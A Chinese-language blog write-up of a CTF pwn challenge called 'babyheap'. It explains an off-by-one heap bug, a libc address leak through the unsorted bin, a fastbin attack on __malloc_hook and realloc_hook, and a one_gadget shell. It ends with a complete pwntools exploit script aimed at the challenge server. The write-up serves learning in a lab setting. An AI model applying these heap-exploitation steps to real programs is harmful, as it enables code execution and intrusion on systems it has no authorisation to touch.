//
xiaoaoaode
Published on 2020-06-09 / 40 Visits
0

攻防世界-babyheap题Writeup

前言

本文中部分IDA反编译代码中的函数已被改名

本文参考 攻防世界PWN之Babyheap(null off by one)题解

(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)

正文

image-20200610212548326

程序信息

image-20200609141759104

应该是关于堆的菜单题,但是考虑到我还没有碰到攻防世界Pwn题用glibc 2.27的情况(一般都是Ubuntu 16.04环境下),所以应该与tcache无关
main函数里就是转换输入字符串为整数,然后对1,2,3,4四种数字做跳转到对应函数的处理

删除函数存在数组越界的漏洞,但是好像没有UAF漏洞(之后解题没有用到这里的漏洞)

image-20200609143740530

本来应该只能Create 7次

image-20200609144136998

Create的函数里读取输入信息的函数出现了Off-By-One漏洞image-20200609144510019

到这里基本思路明确了,就是利用Off-By-One漏洞修改下一个malloc_chunk的size位的信息再触发unlink

off-by-one 利用思路

  1. 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
  2. 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

因为在堆里泄露libc基址一般是利用unsorted bin,而在这里没有UAF漏洞,所以需要想办法在不直接free相关chunk的情况下得到main_arena+88的地址数据,这里我搞不明白,还是看了大佬的Writeup才知道思路。

这里就是把之前分配的许多chunk利用Off-By-One漏洞合并到一起,然后精确地再从合并后的unsorted bin里分配一些出来,使main_arena+88的值正好在以前create函数申请的空间里。

create(0x100, '0' * 0x100)  # 用于与4进行unlink		0号chunk
create(0x10, '1' * 0x10)  # 重新申请0x100空间后泄露libc相关地址			1号chunk
create(0x68, '2' * 0x68)  # fastbin attack攻击__malloc_hook和__realloc_hook	2号chunk
create(0x18, '3' * 0x18)  # 做off-by-one攻击			3号chunk
create(0x100, '4' * (0x100 - 0x10) + p64(0x100) + p64(0x11))  # 为了使off-by-one攻击正常,需要在4后面伪造一个chunk			4号chunk

这里3号chunk之后需要释放再申请一次,这样就可以将第一次申请3号chunk之后申请的4号chunk的size位0x110改为0x100,由于4号chunk的size位之后被改为了0x100,而进行unlink时会对该chunk的下一个chunk的prev_size位进行检测,所以需要在4号chunk的结尾处伪造一个chunk来使unlink顺利进行

delete(3)  # off-by-one
delete(2)  # fastbin attack
delete(0)  # unlink
create(0x18, '1' * 0x10 + p64(0x1c0))  # off-by-one攻击,使用0号位,3号chunk
delete(4)  # 进行unlink
create(0x100, '0' * 0x100)  # 重新申请0x100字节数据
show()  # 泄露main_arena+88的地址

这里首先释放3,2,0三个chunk,然后再对3号chunk再分配(其中0x1c0代表前面0到3号chunk所占的字节数,这样就可以用unlink将5个chunk都合并在一起),之后申请0x100大小的空间就可以将main_arena+88的地址信息恰好放在1号chunk数据段内,然后只要将1 :之后的6个字节的数据收集一些就可以算出libc基址

(这里最初泄露的只有main_arena的地址,而这个地址不好拿去找libc的基址,但是因为malloc_hook的地址和main_arena的地址非常接近QQ截图20200610174828,所以可以先算出malloc_hook的地址再去找libc基址)

create(0x100, '1' * 0x10 + p64(0) + p64(0x71) + p64(malloc_hook_add - 0x23) + '\n')	#⑴
create(0x68, '5' * 0x68)
create(0x68, '6' * 0xb + p64(one_gadget_add) + p64(realloc_add + 2) + '\n')

之后就是利用fastbin attack来修改malloc_hook的数据,从而达到执行one_gadget的目的。

这里依然是继续从合并后的chunk中再分配chunk,之前delete(2)就是让0x70大小的chunk进入fastbin里,这样㈠中就能修改fd的数据,达到使用fastbin attack的作用。

这里大佬的Writeup里说不能直接修改malloc_hook的地址,需要使用realloc函数来调整栈的数据

一种很巧妙的利用方法。有些情况下one_gadget因为环境原因全部都不可用,这时可以通过realloc_hook来调整堆栈环境使one_gadget可用。
realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。

将realloc_hook设置为选择好的one_gadget,将malloc_hook设置为realloc函数开头某一push寄存器处。push和pop的次数是一致的,若push次数减少则会压低堆栈,改变栈环境。这时one_gadget就会可以使用。具体要压低栈多少要根据环境决定,这里我们可以进行小于48字节内或72字节的堆栈调整。

来源:https://bbs.pediy.com/thread-246786.htm

最终的脚本

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('220.249.52.133', 00000)

def create(size, data):
    p.sendlineafter('choice :', '1')
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Data: ', data)


def delete(index):
    p.sendlineafter('choice :', '2')
    p.sendlineafter('Index: ', str(index))


def show():
    p.sendlineafter('choice :\n', '3')


create(0x100, '0' * 0x100)  # 用于与4进行unlink
create(0x10, '1' * 0x10)  # 重新申请0x100空间后泄露libc相关地址
create(0x68, '2' * 0x68)  # fastbin attack攻击__malloc_hook和__realloc_hook
create(0x18, '3' * 0x18)  # 做off-by-one攻击
create(0x100, '4' * (0x100 - 0x10) + p64(0x100) + p64(0x11))  # 为了使off-by-one攻击正常,需要在4后面伪造一个chunk

delete(3)  # off-by-one
delete(2)  # fastbin attack
delete(0)  # unlink
create(0x18, '1' * 0x10 + p64(0x1c0))  # off-by-one攻击,使用0号位,3号chunk
delete(4)  # 进行unlink
create(0x100, '0' * 0x100)  # 重新申请0x100字节数据
show()  # 泄露main_arena+88的地址
p.recvuntil('1 : ')
main_arena = u64(p.recv(6) + '\x00\x00') - 88

libc_base = main_arena - 0x10 - 0x3c4b10
realloc_add = libc_base + 0x846c0
one_gadget_add = libc_base + 0x4526a
malloc_hook_add = main_arena - 0x10
log.info(hex(libc_base))

create(0x100, '1' * 0x10 + p64(0) + p64(0x71) + p64(malloc_hook_add - 0x23) + '\n')
create(0x68, '5' * 0x68)
create(0x68, '6' * 0xb + p64(one_gadget_add) + p64(realloc_add + 2) + '\n')
p.sendlineafter('choice :', '1')
p.sendlineafter('Size: ', '0')
p.interactive()

总结

这道题是我写过的第一个与Off-By-One漏洞有关的题,而且其中还牵扯到了fastbin attack,unlink,等等,对我来说综合性有点大,我还是在看了大佬的Writeup之后才知道思路。

本题主要是要会思考怎样去利用常规的fastbin attack,通过unsorted bin泄露libc基址的方法,而核心是要会Off-By-One的利用,使得没有UAF的情况下也能达到目标,当然利用reallocrealloc_hook来调整堆栈也是让我长知识了。